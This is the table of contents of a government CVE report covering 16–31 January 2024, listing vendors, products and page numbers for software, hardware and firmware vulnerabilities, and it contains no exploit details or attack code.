National Critical Information Infrastructure Protection Centre
Common Vulnerabilities and Exposures (CVE) Report
16 – 31 Jan 2024 Vol. 11 No. 02

Table of Content

Vendor	Product	Page Number
Application		
100296	qdbcrm	1
10n	borgchat	1
10web	form_maker	2
3dprint_project	3dprint	3
60indexpage_project	60indexpage	4
abhinavsingh	wordpress_toolbar	5
abocms	abo.cms	6
Adobe	experience_manager	7
agence-press	css_adder	9
ajaysharma	cups_easy	11
algolplus	advanced_dynamic_pricing_for_woocommerce	38
all_in_one_b2b_for_woocommerce_project	all_in_one_b2b_for_woocommerce	39
Amazon	aws_encryption_sdk	39
ampforwp	accelerated_mobile_pages	40
anglers-net	cgi_an-anlyzer	41
anomali	match	41
Apache	airflow	43
	airflow_cncf_kubernetes	46
	kylin	47
	superset	49
	tomcat	51
Appleple	a-blog_cms	53
arcstone	amo_for_wp_-_membership_management	70
ari-soft	contact_form_7_connector	73
ARM	mbed_tls	73
artplacer	artplacer_widget	74

Vendor	Product	Page Number
asgaros	asgaros_forum	75
Asus	armoury_crate	75
Atlassian	confluence_data_center	75
	confluence_server	101
atrocore	atropim	126
autolabproject	autolab	127
Avaya	aura_experience_portal	127
aveva	pi_server	128
avohq	avo	132
badaix	snapcast	136
beetl-bbs_project	beetl-bbs	137
benaceur-php	restrict_usernames_emails_characters	137
benbusby	whoogle_search	138
benjaminrojas	wp_editor	141
benjaminzekavica	easy_svg_support	142
berocket	advanced_ajax_product_filters	142
biteship	biteship	142
blitiri	chasquid	143
bootstrapped	wp_recipe_maker	143
borbis	freshmail_for_wordpress	146
bosscms	bosscms	146
brainstormforce	ultimate_addons_for_beaver_builder	146
Broadcom	symantec_data_center_security_server	147
	symantec_deployment_solutions	147
	symantec_messaging_gateway	148
	symantec_server_management_suite	149
burst-statistics	burst_statistics	149
cals-ed	electronic_delivery_check_system	150
	electronic_delivery_item_inspection_support_system	152
campcodes	supplier_management_system	153
Canonical	ubuntu_pipewire-pulse	154
cardozatechnologies	cardoza-3d-tag-cloud	155

Vendor	Product	Page Number
changedetection	changedetection	155
cires21	live_encoder	156
Cisco	broadworks_application_delivery_platform	157
	broadworks_xtended_services_platform	160
	evolved_programmable_network_manager	163
	identity_services_engine	167
	prime_infrastructure	253
	thousandeyes_enterprise_agent	260
	unified_communications_manager	261
	unified_communications_manager_im_and_presence_service	263
	unified_contact_center_express	265
	unity_connection	266
	virtualized_voice_browser	270
Citrix	netscaler_application_delivery_controller	273
	netscaler_gateway	277
	virtual_apps_and_desktops	280
classlink	oneclick	281
clickhouse	java_libraries	281
clojure	clojure	282
cloud	citrix_storefront	283
cloudflare	cloudflare	283
cloudlinux	cagefs	284
code-projects	social_networking_site	285
codelyfe	stupid_simple_cms	286
Codepeople	calculated_fields_form	286
	wp_time_slots_booking_form	287
Cogites	ereserv	287
cohesity	cohesity_dataplatform	289
coign	coign	289
consensys	discovery	290
contiki-ng	tinydtls	290
cozmoslabs	profile_builder	293

Vendor	Product	Page Number
crmperks	database_for_contact_form_7\,_wpforms\,_elementor_forms	294
cusrev	customer_reviews_for_woocommerce	294
datahub_project	datahub	295
davidjmiller	voting_record	296
dcgws	hreflang_tags_lite	297
dd32	core_control	297
deano	amp_toolbox	297
Dedecms	dedecms	300
deepwisdom	metagpt	300
delhivery	logistics_courier	300
Dell	networker	301
	pair	302
	unityvsa_operating_environment	302
	unity_operating_environment	303
	unity_xt_operating_environment	304
deltaww	dopsoft	305
	ispsoft	310
	wplsoft	311
designmodo	qards	311
devolutions	remote_desktop_manager	314
devscred	exclusive_addons_for_elementor	314
dfeg	electronic_deliverables_creation_support_tool	315
discord	discord	316
dmparekh	wordpress_database_administrator	316
dogukanurker	flaskblog	317
Dolibarr	dolibarr	318
dom96	httpbeast	319
dremio	dremio	319
easyftp_server_project	easyftp_server	321
easy_chat_server_project	easy_chat_server	322
easy_file_sharing_ftp_server_project	easy_file_sharing_ftp_server	323

Vendor	Product	Page Number
echa.europa	iuclid	324
eduva	albo_pretorio_online	325
ejinshan	terminal_security_system	326
elijahharry	hoolock	326
elisebosse	frontpage_manager	327
embedchain	embedchain	327
enonic	xp	328
etherscan	reptilian_coin	329
explorerplusplus	explorer\+\+	329
ezhometech	ezserver	330
Facebook	meta_spark_studio	330
factominer	factoinvestigate	331
Fedoraproject	extra_packages_for_enterprise_linux	331
Ffmpeg	ffmpeg	336
flexera	installshield	337
flink-extended	aiflow	340
fluentforms	contact_form	341
flycms_project	flycms	342
formtools	form_toools	345
fortra	goanywhere_managed_file_transfer	345
foru_cms_project	foru_cms	346
freerdp	freerdp	347
Freesshd	freesshd	349
frumph	phpfreechat	350
fusionpbx	fusionpbx	352
gabrieleventuri	pandasai	353
garethhk	mldong	354
Gentoo	webmin	354
getkap	kap	355
ghost	ghost	355
giovambattistafazioli	wp_social_bookmark_menu	356
Github	enterprise_server	356

Vendor	Product	Page Number
Gitlab	gitlab	362
givewp	givewp	369
gluwa	creditcoin	370
Gnome	gdkpixbuf	371
GNU	gnutls	372
go4rayyan	scumblr	373
Google	chrome	374
gpac	gpac	380
gravitymaster	product_enquiry_for_woocommerce	380
Group-office	group_office	381
gruen	evewa3	382
Haxx	curl	382
hcltechsw	bigfix_bare_osd_metal_server_webui	383
hiweb	migration_simple	384
hongmaple	octopus	384
hono	node-server	387
HP	oneview	388
html-js	doracms	389
humansignal	label_studio	389
hyper	hyper	395
hyperledger	ursa	395
hypr	workforce_access	399
IBM	app_connect_enterprise	400
	db2	401
	maximo_application_suite	408
	maximo_asset_management	410
	merge_efilm_workstation	411
	openpages_with_watson	412
	qradar_security_information_and_event_manager	415
	sterling_control_center	416
	storage_defender_data_protect	416
icehrm	icehrm	417

Vendor	Product	Page Number
idmsistemas	sinergia	417
igalerie	igalerie	418
imagesourcecontrol	image_source_control	418
imaginationtech	ddk	419
indigitall	iurny	419
instawp	instawp_connect	420
integrationobjects	opc_ua_server_toolkit	420
Intel	hid_event_filter_driver	421
	nuc_p14e_laptop_element	421
	nuc_pro_software_suite	422
Iobit	malware_fighter	423
ip2location	country_blocker	423
ipb-halle	molecularfaces	424
iperov	deepfacelab	424
issabel	pbx	425
ithuan	tuitse-tsusin	426
ivanti	avalanche	427
	connect_secure	427
	neurons_for_zero-trust_access	434
	policy_secure	434
Jenkins	github_branch_source	440
	git_server	442
	jenkins	442
	log_command	444
	matrix_project	445
	red_hat_dependency_analytics	445
jeremiahorem	custom_user_css	446
jester_project	jester	446
jfinalcms_project	jfinalcms	447
join-lemmy	lemmy	447
jonathonkemp	wordpress_users	450
joommasters	jmssetting	450

Vendor	Product	Page Number
jspxcms	jspxcms	451
jsrsasign_project	jsrsasign	452
Jupyter	language_server_protocol_integration	452
Kanboard	kanboard	453
Karjasoft	sami_http_server	454
khronos	opencl	454
	vulkan	455
Kmint21	golden_ftp_server	455
koalaapps	my_account_page_editor	456
kodcloud	kodbox	456
kuerp_project	kuerp	457
lana	lana_shortcodes	460
leadshop	leadshop	460
Lenovo	app_store	461
	vantage	461
Lepton-cms	leptoncms	462
Lesterchan	wp-postratings	462
libcoap	libcoap	463
Libtiff	libtiff	464
lightcms_project	lightcms	465
lightspeedhq	ecwid_ecommerce_shopping_cart	465
Linecorp	line	466
linkwechat	linkwechat	472
Linuxfoundation	argo-cd	473
	dex	488
liuwy-dlsdys	zhglxt	489
livesite	livesite	490
ljapps	wp_review_slider	490
llamahub	llamahub	491
llamaindex	llamaindex	491
longwatchstudio	woosupply	492
	woovip	494

Vendor	Product	Page Number
longwatchstudio	woovirtualwallet	496
loom	loom	499
lrx0014	examsys	499
ls1intum	artemis_java_test_sandbox	499
macroturk	macro-bel	501
maff	electronic_delivery_check_system	502
mafiatic	blue_server	502
magneticone	magento_to_woocommerce_migration	503
marcomilesi	browser_theme_color	504
marcorulicke	coru_lfmember	504
markusbegerow	wp-adv-quiz	505
martinmbithi	internet_banking_system	506
martmbithi	internet_banking_system	506
marvinlabs	wp_customer_area	507
Mate-desktop	atril	509
mayurik	online_tours_\&travels_management_system	510
	online_tours_\&_travels_management_system	510
megabip	megabip	512
mekshq	meks_smart_social_widget	512
mergentech	quality_management_system	513
meris_wp_theme_project	meris_wp_theme	514
metagauss	eventprime	514
Microsoft	edge_chromium	515
millionclues	admin_css_mu	516
	custom_login_admin_front-end_css	518
miniorange	staff_\/_employee_business_directory_for_active_directory	521
mintplexlabs	anythingllm	522
	vector_admin	523
modernasistemas	modernanet_hospital_management_system_2024	524
monitorr	monitorr	524
montonio	montonio_for_woocommerce	525

Vendor	Product	Page Number
morehubbub	hubbub_lite	528
Mozilla	firefox	528
	firefox_esr	534
	firefox_focus	537
	thunderbird	539
multisigwallet_project	multisigwallet	542
myeventon	eventon	543
	rsvp_events	549
mypresta	manufacturers_\(brands\)_images_block	549
myq-solution	print_server	549
mythemeshop	url_shortener	550
Nagios	nagios_cross_platform_agent	550
Netapp	cloud_insights_acquisition_unit	551
	cloud_insights_storage_workload_security_agent	555
	oncommand_insight	558
netbox	netbox	573
networktocode	nautobot	574
newnine	font_awesome_4_menus	576
Nextcloud	deck	577
	global_site_selector	578
	guests	581
	nextcloud_server	584
	sso_\&_saml_authentication	585
	zipper	587
Nextendweb	smart_slider_3	588
nickmomrik	simple_post	588
ninjateam	fastdup	589
niushop	b2b2c_multi-business	589
njtech	greencms	590
notaryproject	notation	590
notion	notion	594
nsasoft	product_key_explorer	594

Vendor	Product	Page Number
nsasoft	sharealarmpro	595
Nvidia	bluefield_bmc	596
obg	ark_wysiwyg_comment_editor	598
ofcms_project	ofcms	598
Omron	sysmac_studio	599
online_admission_system_project	online_admission_system	599
online_railway_reservation_system_project	online_railway_reservation_system	600
openbi	openbi	601
openfga	openfga	604
openlibraryfoundation	mod-data-export-spring	605
	mod-remote-storage	606
opennds	opennds	607
openrobotics	robot_operating_system	608
Openssl	openssl	610
Openvswitch	openvswitch	620
Oracle	audit_vault_and_database_firewall	620
	bi_publisher	624
	business_intelligence	629
	complex_maintenance\,_repair\,_and_overhaul	631
	customer_interaction_history	636
	enterprise_manager	638
	financial_services_analytical_applications_infrastructure	639
	graalvm	650
	graalvm_for_jdk	660
	installed_base	663
	istore	665
	isupport	666
	jdk	667
	jd_edwards_enterpriseone_tools	677

Vendor	Product	Page Number
Oracle	jre	678
	knowledge_management	687
	mysql	690
	one-to-one_fulfillment	711
	outside_in_technology	712
	solaris	714
	webcenter_content	716
	webcenter_sites	717
	zfs_storage_appliance_kit	718
oretnom23	budget_and_expense_tracker_system	720
	visitor_management_system	721
orthanc-server	orthanc	721
	osimis_web_viewer	722
Otrs	otrs	722
Ovirt	ovirt-engine	726
Owasp	dependency-check	726
paddlepaddle	paddle	727
patrickposner	qyrr	728
paulclark	styles	728
paulgriffinpetty	wp_plugin_lister	731
pb-cms_project	pb-cms	731
pcman_ftp_server_project	pcman_ftp_server	732
peepso	peepso	734
peteroupc	cbor	735
phpgurukul	company_visitor_management_system	735
Pimcore	admin_classic_bundle	737
piwebsolution	product_enquiry_for_woocommerce	739
Plone	plone	740
	plone_docker_official_image	740
pluginus	fox_-_currency_switcher_professional_for_woocommerce	740

Vendor	Product	Page Number
Pluxml	pluxml	741
poikosoft	ez_cd_audio_converter	741
popsdiabetes	rebel	742
postman	postman	742
Prestashop	advanced_loyalty_program	743
prestashopmodules	sliding_cart_block	743
processwire	processwire	743
Progress	moveit_transfer	744
	openedge	747
	openedge_innovation	751
projectworlds	online_time_table_generator	753
	visitor_management_system_in_php	753
properfraction	profilepress	754
prosshd	prosshd	755
provectus	ui	755
pubsubhubbub	websub	756
pyload-ng_project	pyload-ng	756
qoders	upqode_google_maps	757
quanticedgesolutions	category_discount_woocommerce	758
quantumcloud	ai_chatbot	758
quarkus	quarkus	759
quest-analytics	iqcrm	761
razormist	employee_management_system	761
Redhat	keycloak	763
	migration_toolkit_for_applications	763
	openshift_container_platform	764
	openshift_container_platform_for_ibm_z	765
	openshift_container_platform_for_linuxone	766
	openshift_container_platform_for_power	767
	shim	768
	single_sign-on	769
redis	redisraft	770

Vendor	Product	Page Number
regify	regipay	770
Relevanssi	relevanssi	771
rems	online_food_menu	771
remyandrade	daily_habit_tracker	772
	login_system_with_email_verification	772
	math_game	772
	school_task_manager	773
renzojohnson	contact_form_7_extension_for_mailchimp	773
royal-elementor-addons	royal_elementor_addons	773
rpm-software-management	mock	774
sandsprite	scdbg	775
sarveshmrao	wp_discord_invite	776
sedlex	image_zoom	777
	traffic_manager	777
seedwebs	seed_social	777
Seopanel	seo_panel	778
seopress	seopress	779
Shopsite	shopsite	780
Shopware	shopware	780
sidenotesproject	side_notes	783
Silverstripe	admin	784
	framework	787
	graphql	788
simonpedge	slide_anything	791
simple-membership-plugin	simple_membership	792
skoda-auto	skoda_connect	792
smod	smodbip	793
smsot	smsot	794
snpdigital	salesking	795
sofastack	sofarpc	796
soflyy	export_any_wordpress_data_to_xml\/csv	797

Vendor	Product	Page Number
Softaculous	backuply	797
Sonicwall	capture_client	798
	netextender	799
Sourcefabric	phoniebox	799
sparksuite	simplemde	800
Spip	spip	801
splashtop	software_updater	801
splicecom	ipcs	803
	ipcs2	803
	maximiser_soft_pbx	804
Splunk	cloud	805
	splunk	806
spooncast	spoon	809
spycamlizard	spycamlizard	810
Sqlite	sqlite	810
Squid-cache	squid	811
squidesma	theme_minifier	813
standford	gibsonenv	816
strangebee	thehive	816
strangerstudios	paid_memberships_pro	818
strategy11	formidable_forms	819
studionetworksolutions	sharebrowser	820
subina	wp_best_quiz	820
sunlight-cms	sunlight_cms	820
sunnytoo	stblogsearch	821
super-forms	super_forms	822
supsystic	ultimate_maps	822
swapnilsahu	stock_management_system	823
Swftools	swftools	823
synaptics	fingerprint_driver	826
Synology	diskstation_manager	827
t1_project	t1	828

Vendor	Product	Page Number
taurisoft	any_sound_recorder	828
theme-junkie	tj_shortcodes	829
themegrill	colormag	829
themehunk	contact_form_\&_lead_form_elementor_builder	830
themeinprogress	wip_custom_login	831
themely	theme_demo_import	831
themeum	qubely	832
thimpress	learnpress	832
tianocore	edk2	833
Tigervnc	tigervnc	838
Tipsandtricks-hq	wordpress_simple_paypal_shopping_cart	839
tongda2000	office_anywhere_2017	840
tortall	yasm	841
tozt	spreadsheet\	841
tracktheclick	track_the_click	842
Trendmicro	apex_central	842
	apex_one	849
	deep_security	869
	deep_security_agent	870
	mobile_security	872
Tribulant	newsletters	873
trillium	trillium	874
	trillium-http	876
tuta	tutanota	879
tychesoftwares	print_invoice_\&_delivery_notes_for_woocommerce	882
ujcms	jspxcms	883
ukrsolution	barcode_scanner_and_inventory_manager	883
unalignedcode	autotitle	884
unihost	confirm_data	884
uniswapfrontrunbot_project	uniswapfrontrunbot	887

Vendor	Product	Page Number
unix4lyfe	darkhttpd	887
usabilitydynamics	wp-invoice	888
ushainformatique	whatacart	888
vanderschaarlab	temporai	889
vektor-inc	vk_block_patterns	890
vitejs	vite	891
Vmware	aria_automation	896
	cloud_foundation	902
	spring_framework	903
vyperlang	vyper	905
warfareplugins	social_warfare	907
weaver	e-cology	907
Web-dorado	contact_form_maker	908
webcalendar_project	webcalendar	908
Webkul	bagisto	908
	bundle_product	909
	qloapps	909
weblizar	school_management	910
webtoffee	order_export_\&_order_import_for_woocommerce	910
	product_import_export_for_woocommerce	911
	stripe_payment_plugin_for_woocommerce	911
wedevs	dokan	912
Woocommerce	woocommerce	912
wootsify	sites_library	913
wow-company	sticky_buttons	913
wp-eventmanager	user_profile_avatar	914
wpengine	wpgraphql	914
wpexperts	post_smtp	915
wpfastestcache	wp_fastest_cache	915
wpforms	wpforms	916
wpfront	wpfront_notification_bar	917
Wpgmaps	wp_go_maps	918

Vendor	Product	Page Number
wpjobportal	wp_job_portal	919
wpmet	wp_social_login_and_register_social_counter	919
wpopal	wpopal_core_features	920
wpovernight	woocommerce_pdf_invoices\&_packing_slips	922
wpspellcheck	wpspellcheck	923
wpuserplus	userplus	923
wpvibes	form_vibes	924
wpwax	directorist	924
X.org	xorg-server	924
	xwayland	926
Xlightftpd	xlight_ftp_server	928
xpand-it	write-back_manager	928
xxyopen	novel-plus	929
yonyou	yonbip	930
ypopsemail	ypops\!	932
yugeshverma	student_project_allocation_system	932
yukimichi	simple_sort\&search	933
yunyou_cms_project	yunyou_cms	934
zhicms	zhicms	935
zhiyun-tech	zhihuiyun	935
zhongfucheng3y	austin	936
Zohocorp	manageengine_adaudit_plus	937
	manageengine_servicedesk_plus_msp	937
zorem	advanced_local_pickup_for_woocommerce	938
	sales_report_email_for_woocommerce	938
Zulip	zulip_server	939
Hardware		
actidata	actinas_sl_2u-8_rdx	941
AMD	athlon_3000g	942
	instinct_mi100	942
	instinct_mi210	943
	instinct_mi250	943

Vendor	Product	Page Number
AMD	instinct_mi300a	943
	instinct_mi300x	944
	radeon_instinct_mi25	944
	radeon_instinct_mi50	945
	radeon_pro_v520	945
	radeon_pro_v620	945
	radeon_pro_w5500x	946
	radeon_pro_w5700x	946
	radeon_pro_w6300m	947
	radeon_pro_w6400	947
	radeon_pro_w6500m	947
	radeon_pro_w7500	948
	radeon_pro_w7600	948
	radeon_rx_5300	949
	radeon_rx_5300m	949
	radeon_rx_5300xt	949
	radeon_rx_5500	950
	radeon_rx_5500m	950
	radeon_rx_5500xt	951
	radeon_rx_5600	951
	radeon_rx_5600m	951
	radeon_rx_5600xt	952
	radeon_rx_5700	952
	radeon_rx_5700m	953
	radeon_rx_5700xt	953
	radeon_rx_6800	954
	radeon_rx_6800xt	954
	radeon_rx_6900xt	954
	radeon_rx_6950xt	955
	radeon_rx_7600	955
	radeon_rx_7600xt	955
	radeon_rx_7700xt	956

Vendor	Product	Page Number
AMD	radeon_rx_7800xt	956
	radeon_rx_7900xt	957
	radeon_rx_7900xtx	957
	ryzen_3_3200g	958
	ryzen_3_3200ge	958
	ryzen_3_3200u	958
	ryzen_3_3250c	959
	ryzen_3_3250u	959
	ryzen_3_4300g	960
	ryzen_3_4300ge	960
	ryzen_3_4300u	960
	ryzen_3_5300g	961
	ryzen_3_5300ge	961
	ryzen_3_5300u	961
	ryzen_3_7320u	962
	ryzen_3_7335u	962
	ryzen_3_7440u	963
	ryzen_3_pro_3200g	963
	ryzen_3_pro_3200ge	963
	ryzen_5_3400g	964
	ryzen_5_4500u	964
	ryzen_5_4600g	965
	ryzen_5_4600ge	965
	ryzen_5_4600h	966
	ryzen_5_4600hs	966
	ryzen_5_4600u	966
	ryzen_5_4680u	967
	ryzen_5_5500gt	967
	ryzen_5_5500u	967
	ryzen_5_5600g	968
	ryzen_5_5600ge	968
	ryzen_5_5600gt	969

Vendor	Product	Page Number
AMD	ryzen_5_6600h	969
	ryzen_5_6600hs	969
	ryzen_5_6600u	970
	ryzen_5_7500f	970
	ryzen_5_7520u	971
	ryzen_5_7535hs	971
	ryzen_5_7535u	971
	ryzen_5_7600	972
	ryzen_5_7600x	972
	ryzen_5_7640h	973
	ryzen_5_7645hx	973
	ryzen_5_pro_3350g	974
	ryzen_5_pro_3350ge	974
	ryzen_5_pro_3400g	974
	ryzen_5_pro_3400ge	975
	ryzen_5_pro_7540u	975
	ryzen_5_pro_7545u	975
	ryzen_5_pro_7640hs	976
	ryzen_5_pro_7640u	976
	ryzen_5_pro_7645	977
	ryzen_7_4700g	977
	ryzen_7_4700ge	977
	ryzen_7_4700u	978
	ryzen_7_4800h	978
	ryzen_7_4800hs	979
	ryzen_7_4800u	979
	ryzen_7_4980u	979
	ryzen_7_5700g	980
	ryzen_7_5700ge	980
	ryzen_7_5700u	981
	ryzen_7_6800h	981
	ryzen_7_6800hs	981

Vendor	Product	Page Number
AMD	ryzen_7_6800u	982
	ryzen_7_7700	982
	ryzen_7_7700x	983
	ryzen_7_7735hs	983
	ryzen_7_7735u	983
	ryzen_7_7736u	984
	ryzen_7_7745hx	984
	ryzen_7_7800x3d	985
	ryzen_7_7840h	985
	ryzen_7_pro_7745	985
	ryzen_7_pro_7840hs	986
	ryzen_7_pro_7840u	986
	ryzen_9_4900h	987
	ryzen_9_4900hs	987
	ryzen_9_6900hs	987
	ryzen_9_6900hx	988
	ryzen_9_6980hs	988
	ryzen_9_6980hx	989
	ryzen_9_7845hx	989
	ryzen_9_7900	990
	ryzen_9_7900x	990
	ryzen_9_7900x3d	990
	ryzen_9_7940h	991
	ryzen_9_7945hx	991
	ryzen_9_7945hx3d	991
	ryzen_9_7950x	992
	ryzen_9_7950x3d	992
	ryzen_9_pro_7945	993
	ryzen_9_pro_7945hs	993
biges	vg-255-bv	993
	vg-255-df	994
	vg-255a-bf	994

Vendor	Product	Page Number
biges	vg-4c1a-lrpu	995
	vg-4c1a-lru	995
	vg-4c1e-nvr	996
	vg-64c8rd-nvr	996
	vg-8c1a-lrpu	997
	vg-8c1e-nvr	997
byzoro	smart_s150	998
	smart_s210	1000
cdebyte	e880-ir01	1001
Cisco	wap371	1001
commscope	arris_surfboard_sbg6950ac2	1002
Crestron	am-300	1003
Dlink	dap-1360	1003
	dap-1650	1005
	dir-1210	1006
	dir-1260	1007
	dir-2150	1008
	dir-300	1010
	dir-615	1011
	dir-615gf	1013
	dir-615s	1014
	dir-615t	1016
	dir-620	1017
	dir-620s	1019
	dir-806a	1020
	dir-815	1022
	dir-815s	1024
	dir-815\/ac	1025
	dir-816	1027
	dir-816_a2	1028
	dir-820	1029
	dir-822	1030

Vendor	Product	Page Number
Dlink	dir-825	1032
	dir-825ac	1033
	dir-825acf	1035
	dir-825acg1	1036
	dir-841	1038
	dir-842	1039
	dir-842s	1041
	dir-843	1042
	dir-853	1044
	dir-859	1045
	dir-878	1046
	dir-882	1048
	dir-882_a1	1049
	dir-x1530	1050
	dir-x1860	1051
	dsl-224	1053
	dsl-245gr	1054
	dsl-2640u	1056
	dsl-2750u	1057
	dsl-g2452gr	1059
	dvg-5402g	1060
	dvg-5402g\/gfru	1062
	dvg-n5402g	1063
	dvg-n5402g\/il	1065
	dwm-312w	1066
	dwm-321	1068
	dwr-921	1069
	dwr-953	1071
	go-rt-ac750	1072
Edimax	br-6478ac	1072
elecom	wrc-x1800gs-b	1073
	wrc-x1800gsa-b	1074

Vendor	Product	Page Number
elecom	wrc-x1800gsh-b	1074
	wrc-x6000xs-g	1075
	wrc-x6000xst-g	1076
hitron_systems	dvr_hvr-4781	1077
Intel	nuc_7_essential_nuc7cjysal	1078
	nuc_7_essential_nuc7cjysamn	1079
	nuc_8_compute_element_cm8v5cb	1079
	nuc_8_compute_element_cm8v7cb	1080
	nuc_8_enthusiast_nuc8i7behga	1080
	nuc_8_enthusiast_nuc8i7bekqa	1080
	nuc_8_home_nuc8i3behfa	1081
	nuc_8_home_nuc8i5behfa	1081
	nuc_8_home_nuc8i5bekpa	1081
	nuc_8_mainstream-g_kit_nuc8i5inh	1082
	nuc_8_mainstream-g_kit_nuc8i7inh	1082
	nuc_9_pro_compute_element_nuc9v7qnb	1083
	nuc_9_pro_compute_element_nuc9v7qnx	1084
	nuc_9_pro_kit_nuc9v7qnb	1084
	nuc_9_pro_kit_nuc9v7qnx	1084
	nuc_kit_nuc7cjyh	1085
	nuc_kit_nuc7cjyhn	1085
	nuc_kit_nuc7cjysal	1086
	nuc_kit_nuc7pjyh	1086
	nuc_kit_nuc7pjyhn	1087
	nuc_kit_nuc8i3beh	1088
	nuc_kit_nuc8i3behs	1088
	nuc_kit_nuc8i3bek	1088
	nuc_kit_nuc8i5beh	1089
	nuc_kit_nuc8i5behs	1089
	nuc_kit_nuc8i5bek	1089
	nuc_kit_nuc8i7beh	1089
	nuc_kit_nuc8i7bek	1090

Vendor	Product	Page Number
Jensenofscandinavia	eagle_1200ac	1090
Juniper	ex2200	1091
	ex2200-c	1094
	ex2200-vc	1098
	ex2300	1102
	ex2300-24mp	1106
	ex2300-24p	1109
	ex2300-24t	1113
	ex2300-48mp	1117
	ex2300-48p	1121
	ex2300-48t	1125
	ex2300-c	1128
	ex2300m	1132
	ex2300_multigigabit	1136
	ex3200	1140
	ex3300	1143
	ex3300-vc	1147
	ex3400	1151
	ex4100	1155
	ex4100-f	1158
	ex4100_multigigabit	1162
	ex4200	1166
	ex4200-vc	1170
	ex4300	1174
	ex4300-24p	1177
	ex4300-24p-s	1181
	ex4300-24t	1185
	ex4300-24t-s	1189
	ex4300-32f	1192
	ex4300-32f-dc	1196
	ex4300-32f-s	1200
	ex4300-48mp	1204

Vendor	Product	Page Number
Juniper	ex4300-48mp-s	1207
	ex4300-48p	1211
	ex4300-48p-s	1215
	ex4300-48t	1219
	ex4300-48t-afi	1223
	ex4300-48t-dc	1226
	ex4300-48t-dc-afi	1230
	ex4300-48t-s	1234
	ex4300-48tafi	1238
	ex4300-48tdc	1241
	ex4300-48tdc-afi	1245
	ex4300-mp	1249
	ex4300-vc	1253
	ex4300m	1256
	ex4300_multigigabit	1260
	ex4400	1264
	ex4400-24x	1268
	ex4400_multigigabit	1272
	ex4500	1275
	ex4500-vc	1279
	ex4550	1283
	ex4550-vc	1287
	ex4550\/vc	1290
	ex4600	1294
	ex4600-vc	1298
	ex4650	1302
	ex6200	1305
	ex6210	1309
	ex8200	1313
	ex8200-vc	1317
	ex8208	1321
	ex8216	1324

Vendor	Product	Page Number
Juniper	ex9200	1328
	ex9204	1332
	ex9208	1336
	ex9214	1339
	ex9250	1343
	ex9251	1347
	ex9253	1351
	ex_redundant_power_system	1354
	ex_rps	1358
	srx100	1362
	srx110	1366
	srx1400	1370
	srx1500	1373
	srx1600	1377
	srx210	1381
	srx220	1385
	srx2300	1388
	srx240	1392
	srx240h2	1396
	srx240m	1400
	srx300	1403
	srx320	1407
	srx340	1411
	srx3400	1415
	srx345	1419
	srx3600	1422
	srx380	1426
	srx4000	1430
	srx4100	1434
	srx4200	1437
	srx4300	1441
	srx4600	1445

Vendor	Product	Page Number
Juniper	srx4700	1449
	srx5000	1452
	srx5400	1456
	srx550	1460
	srx550m	1464
	srx550_hm	1468
	srx5600	1471
	srx5800	1475
	srx650	1479
Lantronix	xport_edge	1483
Lenovo	tab_m10_plus_gen_3_tb125fu	1483
	tab_m8_hd_tb8505f	1484
	tab_m8_hd_tb8505fs	1484
	tab_m8_hd_tb8505x	1485
	tab_m8_hd_tb8505xs	1485
	tab_p11_pro_gen_2_tb132fu	1486
meross	msh30q	1487
Motorola	mr2600	1488
netis-systems	mw5360	1490
Nvidia	bluefield_2_ga	1491
	bluefield_2_lts	1491
	bluefield_3_ga	1492
Omron	cj1g-cpu42p	1492
	cj1g-cpu43p	1493
	cj1g-cpu44p	1493
	cj1g-cpu45p	1494
	cj1g-cpu45p-gtc	1494
	cj2h-cpu64	1495
	cj2h-cpu64-eip	1495
	cj2h-cpu65	1496
	cj2h-cpu65-eip	1496
	cj2h-cpu66	1497

Vendor	Product	Page Number
Omron	cj2h-cpu66-eip	1498
	cj2h-cpu67	1498
	cj2h-cpu67-eip	1499
	cj2h-cpu68	1499
	cj2h-cpu68-eip	1500
	cj2m-cpu11	1500
	cj2m-cpu12	1501
	cj2m-cpu13	1501
	cj2m-cpu14	1502
	cj2m-cpu15	1502
	cj2m-cpu31	1503
	cj2m-cpu32	1503
	cj2m-cpu33	1504
	cj2m-cpu34	1504
	cj2m-cpu35	1505
	cj2m-md211	1505
	cj2m-md212	1506
	cp1e-e	1506
	cp1e-n	1507
	cs1d-cpu42s	1507
	cs1d-cpu44s	1508
	cs1d-cpu65h	1508
	cs1d-cpu65p	1509
	cs1d-cpu65s	1509
	cs1d-cpu67h	1510
	cs1d-cpu67p	1510
	cs1d-cpu67s	1511
	cs1g-cpu42h	1511
	cs1g-cpu43h	1512
	cs1g-cpu44h	1512
	cs1g-cpu45h	1513
	cs1h-cpu63h	1513

Vendor	Product	Page Number
Omron	cs1h-cpu64h	1514
	cs1h-cpu65h	1514
	cs1h-cpu66h	1515
	cs1h-cpu67h	1516
se-elektronicgmbh	e-ddc3.3	1516
shelly	trv	1517
skyworthdigital	cm5100	1518
solax	pocket_wifi_3	1536
systemk-corp	nvr_504	1538
	nvr_508	1538
	nvr_516	1539
Technicolor	tc8715d	1540
Tenda	ac10u	1540
	i6	1541
	i9	1544
	w6	1545
Tendacn	ac10u	1547
tenhot	tws-200	1555
totolink	a3300r	1555
	a3700r	1558
	a8000ru	1559
	lr1200gb	1559
	n200re	1565
	n200re-v5	1572
	n350rt	1573
	t8	1573
	x2000r	1575
	x6000r	1576
Tp-link	tapo_c200	1578
	tapo_tc70	1578
Trendnet	tew-411brpplus	1579
	tew-800mb	1579

Vendor	Product	Page Number
Trendnet	tew-815dap	1580
	tew-822dre	1581
	tew-824dru	1582
ubeeinteractive	ddw365	1582
unisoc	s8000	1583
	sc7731e	1589
	sc9832e	1596
	sc9863a	1602
	t310	1608
	t606	1615
	t610	1621
	t612	1627
	t616	1634
	t618	1640
	t760	1646
	t770	1653
	t820	1659
uniview	isc_2500-s	1665
xantech	wic1200	1666
Yamaha	wlx202	1668
	wlx212	1669
	wlx222	1670
	wlx313	1671
	wlx413	1672
Operating System		
actidata	actinas_sl_2u-8_rdx_firmware	1673
AMD	athlon_3000g_firmware	1674
	instinct_mi100_firmware	1675
	instinct_mi210_firmware	1675
	instinct_mi250_firmware	1675
	instinct_mi300a_firmware	1676
	instinct_mi300x_firmware	1676

Vendor	Product	Page Number
AMD	radeon_instinct_mi25_firmware	1677
	radeon_instinct_mi50_firmware	1677
	radeon_pro_v520_firmware	1677
	radeon_pro_v620_firmware	1678
	radeon_pro_w5500x_firmware	1678
	radeon_pro_w5700x_firmware	1679
	radeon_pro_w6300m_firmware	1679
	radeon_pro_w6400_firmware	1679
	radeon_pro_w6500m_firmware	1680
	radeon_pro_w7500_firmware	1680
	radeon_pro_w7600_firmware	1681
	radeon_rx_5300m_firmware	1681
	radeon_rx_5300xt_firmware	1681
